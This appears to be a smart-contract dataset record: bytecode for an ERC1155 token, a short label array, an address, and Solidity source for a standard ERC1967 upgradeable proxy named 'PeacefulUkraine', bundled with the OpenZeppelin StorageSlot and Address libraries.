0x6080604052600436106100a65760003560e01c806352bc93211161006457806352bc9321146101f357806395d89b4114610232578063a22cb4651461025d578063bebaf42d14610286578063e985e9c5146102a2578063f242432a146102df576100a6565b8062fdd58e146100ab57806301ffc9a7146100e857806306fdde03146101255780630e89341c146101505780632eb2c2d61461018d5780634e1273f4146101b6575b600080fd5b3480156100b757600080fd5b506100d260048036038101906100cd9190611fa2565b610308565b6040516100df91906127b2565b60405180910390f35b3480156100f457600080fd5b5061010f600480360381019061010a9190612099565b6103d1565b60405161011c91906125b5565b60405180910390f35b34801561013157600080fd5b5061013a6104b3565b60405161014791906125d0565b60405180910390f35b34801561015c57600080fd5b506101776004803603810190610172919061212c565b610541565b60405161018491906125d0565b60405180910390f35b34801561019957600080fd5b506101b460048036038101906101af9190611e18565b610778565b005b3480156101c257600080fd5b506101dd60048036038101906101d8919061202d565b610b6e565b6040516101ea919061255c565b60405180910390f35b3480156101ff57600080fd5b5061021a6004803603810190610215919061212c565b610d1f565b60405161022993929190612525565b60405180910390f35b34801561023e57600080fd5b50610247610d76565b60405161025491906125d0565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f9190611f66565b610e04565b005b6102a0600480360381019061029b9190611fde565b610f85565b005b3480156102ae57600080fd5b506102c960048036038101906102c49190611ddc565b6110f0565b6040516102d691906125b5565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190611ed7565b611184565b005b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610379576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161037090612632565b60405180910390fd5b60008083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061049c57507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806104ac57506104ab8261149c565b5b9050919050565b600380546104c090612a86565b80601f01602080910402602001604051908101604052809291908181526020018280546104ec90612a86565b80156105395780601f1061050e57610100808354040283529160200191610539565b820191906000526020600020905b81548152906001019060200180831161051c57829003601f168201915b505050505081565b606061054d6005611506565b82111561058f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610586906126f2565b60405180910390fd5b6000600660008481526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff161515151581525050905060608160400151156106d557816000015173ffffffffffffffffffffffffffffffffffffffff16630e89341c83602001516040518263ffffffff1660e01b815260040161067991906127b2565b60006040518083038186803b15801561069157600080fd5b505afa1580156106a5573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906106ce91906120eb565b905061076e565b816000015173ffffffffffffffffffffffffffffffffffffffff1663c87b56dd83602001516040518263ffffffff1660e01b815260040161071691906127b2565b60006040518083038186803b15801561072e57600080fd5b505afa158015610742573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061076b91906120eb565b90505b8092505050919050565b81518351146107bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b390612772565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561082c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082390612692565b60405180910390fd5b610834611514565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061087a575061087985610874611514565b6110f0565b5b6108b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b0906126b2565b60405180910390fd5b60006108c3611514565b90506108d381878787878761151c565b60005b8451811015610ad957600085828151811061091a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050600085838151811061095f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050600080600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f7906126d2565b60405180910390fd5b8181610a0c919061299c565b60008085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160008085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610abe9190612946565b9250508190555050505080610ad290612ae9565b90506108d6565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610b5092919061257e565b60405180910390a4610b66818787878787611524565b505050505050565b60608151835114610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab90612752565b60405180910390fd5b6000835167ffffffffffffffff811115610bf7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610c255781602001602082028036833780820191505090505b50905060005b8451811015610d1457610cbe858281518110610c70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151858381518110610cb1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610308565b828281518110610cf7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080610d0d90612ae9565b9050610c2b565b508091505092915050565b60066020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020160009054906101000a900460ff16905083565b60048054610d8390612a86565b80601f0160208091040260200160405190810160405280929190818152602001828054610daf90612a86565b8015610dfc5780601f10610dd157610100808354040283529160200191610dfc565b820191906000526020600020905b815481529060010190602001808311610ddf57829003601f168201915b505050505081565b8173ffffffffffffffffffffffffffffffffffffffff16610e23611514565b73ffffffffffffffffffffffffffffffffffffffff161415610e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7190612732565b60405180910390fd5b8060016000610e87611514565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610f34611514565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610f7991906125b5565b60405180910390a35050565b60008211610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90612712565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90612652565b60405180910390fd5b611040600561170b565b600061104c6005611506565b90506000600660008381526020019081526020016000209050848160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550838160010181905550828160020160006101000a81548160ff0219169083151502179055506110e93383600160405180602001604052806000815250611721565b5050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90612692565b60405180910390fd5b6111fc611514565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061124257506112418561123c611514565b6110f0565b5b611281576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127890612672565b60405180910390fd5b600061128b611514565b90506112ab81878761129c886118b7565b6112a5886118b7565b8761151c565b600080600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611342576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611339906126d2565b60405180910390fd5b838161134e919061299c565b60008087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360008087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114009190612946565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62888860405161147d9291906127cd565b60405180910390a461149382888888888861197d565b50505050505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600081600001549050919050565b600033905090565b505050505050565b6115438473ffffffffffffffffffffffffffffffffffffffff16611b64565b15611703578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b8152600401611589959493929190612463565b602060405180830381600087803b1580156115a357600080fd5b505af19250505080156115d457506040513d601f19601f820116820180604052508101906115d191906120c2565b60015b61167a576115e0612bbf565b806308c379a0141561163d57506115f5612fdf565b80611600575061163f565b806040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163491906125d0565b60405180910390fd5b505b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611671906125f2565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f890612612565b60405180910390fd5b505b505050505050565b6001816000016000828254019250508190555050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178890612792565b60405180910390fd5b600061179b611514565b90506117bc816000876117ad886118b7565b6117b6886118b7565b8761151c565b8260008086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461181b9190612946565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6287876040516118999291906127cd565b60405180910390a46118b08160008787878761197d565b5050505050565b60606000600167ffffffffffffffff8111156118fc577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561192a5781602001602082028036833780820191505090505b5090508281600081518110611968577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080915050919050565b61199c8473ffffffffffffffffffffffffffffffffffffffff16611b64565b15611b5c578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b81526004016119e29594939291906124cb565b602060405180830381600087803b1580156119fc57600080fd5b505af1925050508015611a2d57506040513d601f19601f82011682018060405250810190611a2a91906120c2565b60015b611ad357611a39612bbf565b806308c379a01415611a965750611a4e612fdf565b80611a595750611a98565b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8d91906125d0565b60405180910390fd5b505b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aca906125f2565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5190612612565b60405180910390fd5b505b505050505050565b600080823b905060008111915050919050565b6000611b8a611b858461281b565b6127f6565b90508083825260208201905082856020860282011115611ba957600080fd5b60005b85811015611bd95781611bbf8882611ccb565b845260208401935060208301925050600181019050611bac565b5050509392505050565b6000611bf6611bf184612847565b6127f6565b90508083825260208201905082856020860282011115611c1557600080fd5b60005b85811015611c455781611c2b8882611dc7565b845260208401935060208301925050600181019050611c18565b5050509392505050565b6000611c62611c5d84612873565b6127f6565b905082815260208101848484011115611c7a57600080fd5b611c85848285612a44565b509392505050565b6000611ca0611c9b846128a4565b6127f6565b905082815260208101848484011115611cb857600080fd5b611cc3848285612a53565b509392505050565b600081359050611cda81613075565b92915050565b600082601f830112611cf157600080fd5b8135611d01848260208601611b77565b91505092915050565b600082601f830112611d1b57600080fd5b8135611d2b848260208601611be3565b91505092915050565b600081359050611d438161308c565b92915050565b600081359050611d58816130a3565b92915050565b600081519050611d6d816130a3565b92915050565b600082601f830112611d8457600080fd5b8135611d94848260208601611c4f565b91505092915050565b600082601f830112611dae57600080fd5b8151611dbe848260208601611c8d565b91505092915050565b600081359050611dd6816130ba565b92915050565b60008060408385031215611def57600080fd5b6000611dfd85828601611ccb565b9250506020611e0e85828601611ccb565b9150509250929050565b600080600080600060a08688031215611e3057600080fd5b6000611e3e88828901611ccb565b9550506020611e4f88828901611ccb565b945050604086013567ffffffffffffffff811115611e6c57600080fd5b611e7888828901611d0a565b935050606086013567ffffffffffffffff811115611e9557600080fd5b611ea188828901611d0a565b925050608086013567ffffffffffffffff811115611ebe57600080fd5b611eca88828901611d73565b9150509295509295909350565b600080600080600060a08688031215611eef57600080fd5b6000611efd88828901611ccb565b9550506020611f0e88828901611ccb565b9450506040611f1f88828901611dc7565b9350506060611f3088828901611dc7565b925050608086013567ffffffffffffffff811115611f4d57600080fd5b611f5988828901611d73565b9150509295509295909350565b60008060408385031215611f7957600080fd5b6000611f8785828601611ccb565b9250506020611f9885828601611d34565b9150509250929050565b60008060408385031215611fb557600080fd5b6000611fc385828601611ccb565b9250506020611fd485828601611dc7565b9150509250929050565b600080600060608486031215611ff357600080fd5b600061200186828701611ccb565b935050602061201286828701611dc7565b925050604061202386828701611d34565b9150509250925092565b6000806040838503121561204057600080fd5b600083013567ffffffffffffffff81111561205a57600080fd5b61206685828601611ce0565b925050602083013567ffffffffffffffff81111561208357600080fd5b61208f85828601611d0a565b9150509250929050565b6000602082840312156120ab57600080fd5b60006120b984828501611d49565b91505092915050565b6000602082840312156120d457600080fd5b60006120e284828501611d5e565b91505092915050565b6000602082840312156120fd57600080fd5b600082015167ffffffffffffffff81111561211757600080fd5b61212384828501611d9d565b91505092915050565b60006020828403121561213e57600080fd5b600061214c84828501611dc7565b91505092915050565b60006121618383612445565b60208301905092915050565b612176816129d0565b82525050565b6000612187826128e5565b6121918185612913565b935061219c836128d5565b8060005b838110156121cd5781516121b48882612155565b97506121bf83612906565b9250506001810190506121a0565b5085935050505092915050565b6121e3816129e2565b82525050565b60006121f4826128f0565b6121fe8185612924565b935061220e818560208601612a53565b61221781612be1565b840191505092915050565b600061222d826128fb565b6122378185612935565b9350612247818560208601612a53565b61225081612be1565b840191505092915050565b6000612268603483612935565b915061227382612bff565b604082019050919050565b600061228b602883612935565b915061229682612c4e565b604082019050919050565b60006122ae602b83612935565b91506122b982612c9d565b604082019050919050565b60006122d1601383612935565b91506122dc82612cec565b602082019050919050565b60006122f4602983612935565b91506122ff82612d15565b604082019050919050565b6000612317602583612935565b915061232282612d64565b604082019050919050565b600061233a603283612935565b915061234582612db3565b604082019050919050565b600061235d602a83612935565b915061236882612e02565b604082019050919050565b6000612380600e83612935565b915061238b82612e51565b602082019050919050565b60006123a3600e83612935565b91506123ae82612e7a565b602082019050919050565b60006123c6602983612935565b91506123d182612ea3565b604082019050919050565b60006123e9602983612935565b91506123f482612ef2565b604082019050919050565b600061240c602883612935565b915061241782612f41565b604082019050919050565b600061242f602183612935565b915061243a82612f90565b604082019050919050565b61244e81612a3a565b82525050565b61245d81612a3a565b82525050565b600060a082019050612478600083018861216d565b612485602083018761216d565b8181036040830152612497818661217c565b905081810360608301526124ab818561217c565b905081810360808301526124bf81846121e9565b90509695505050505050565b600060a0820190506124e0600083018861216d565b6124ed602083018761216d565b6124fa6040830186612454565b6125076060830185612454565b818103608083015261251981846121e9565b90509695505050505050565b600060608201905061253a600083018661216d565b6125476020830185612454565b61255460408301846121da565b949350505050565b60006020820190508181036000830152612576818461217c565b905092915050565b60006040820190508181036000830152612598818561217c565b905081810360208301526125ac818461217c565b90509392505050565b60006020820190506125ca60008301846121da565b92915050565b600060208201905081810360008301526125ea8184612222565b905092915050565b6000602082019050818103600083015261260b8161225b565b9050919050565b6000602082019050818103600083015261262b8161227e565b9050919050565b6000602082019050818103600083015261264b816122a1565b9050919050565b6000602082019050818103600083015261266b816122c4565b9050919050565b6000602082019050818103600083015261268b816122e7565b9050919050565b600060208201905081810360008301526126ab8161230a565b9050919050565b600060208201905081810360008301526126cb8161232d565b9050919050565b600060208201905081810360008301526126eb81612350565b9050919050565b6000602082019050818103600083015261270b81612373565b9050919050565b6000602082019050818103600083015261272b81612396565b9050919050565b6000602082019050818103600083015261274b816123b9565b9050919050565b6000602082019050818103600083015261276b816123dc565b9050919050565b6000602082019050818103600083015261278b816123ff565b9050919050565b600060208201905081810360008301526127ab81612422565b9050919050565b60006020820190506127c76000830184612454565b92915050565b60006040820190506127e26000830185612454565b6127ef6020830184612454565b9392505050565b6000612800612811565b905061280c8282612ab8565b919050565b6000604051905090565b600067ffffffffffffffff82111561283657612835612b90565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561286257612861612b90565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561288e5761288d612b90565b5b61289782612be1565b9050602081019050919050565b600067ffffffffffffffff8211156128bf576128be612b90565b5b6128c882612be1565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600061295182612a3a565b915061295c83612a3a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561299157612990612b32565b5b828201905092915050565b60006129a782612a3a565b91506129b283612a3a565b9250828210156129c5576129c4612b32565b5b828203905092915050565b60006129db82612a1a565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612a71578082015181840152602081019050612a56565b83811115612a80576000848401525b50505050565b60006002820490506001821680612a9e57607f821691505b60208210811415612ab257612ab1612b61565b5b50919050565b612ac182612be1565b810181811067ffffffffffffffff82111715612ae057612adf612b90565b5b80604052505050565b6000612af482612a3a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b2757612b26612b32565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d1115612bde5760046000803e612bdb600051612bf2565b90505b90565b6000601f19601f8301169050919050565b60008160e01c9050919050565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f4e6f7420612076616c6964206164647265737300000000000000000000000000600082015250565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b7f4e6f7420612076616c6964204964000000000000000000000000000000000000600082015250565b7f4964206d757374206265203e2030000000000000000000000000000000000000600082015250565b7f455243313135353a2073657474696e6720617070726f76616c2073746174757360008201527f20666f722073656c660000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600060443d1015612fef57613072565b612ff7612811565b60043d036004823e80513d602482011167ffffffffffffffff8211171561301f575050613072565b808201805167ffffffffffffffff81111561303d5750505050613072565b80602083010160043d03850181111561305a575050505050613072565b61306982602001850186612ab8565b82955050505050505b90565b61307e816129d0565b811461308957600080fd5b50565b613095816129e2565b81146130a057600080fd5b50565b6130ac816129ee565b81146130b757600080fd5b50565b6130c381612a3a565b81146130ce57600080fd5b5056fea2646970667358221220e0d79f2a07e644ad7742fa1b9c9548fa663a81570407aea9722d7d544ee9fb6864736f6c63430008040033
[ 5, 12, 2 ]
0xf382e136b1c38f2761eD42a5b960beb5eEAAcDbD
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract PeacefulUkraine { bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), " Address Errors. "); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
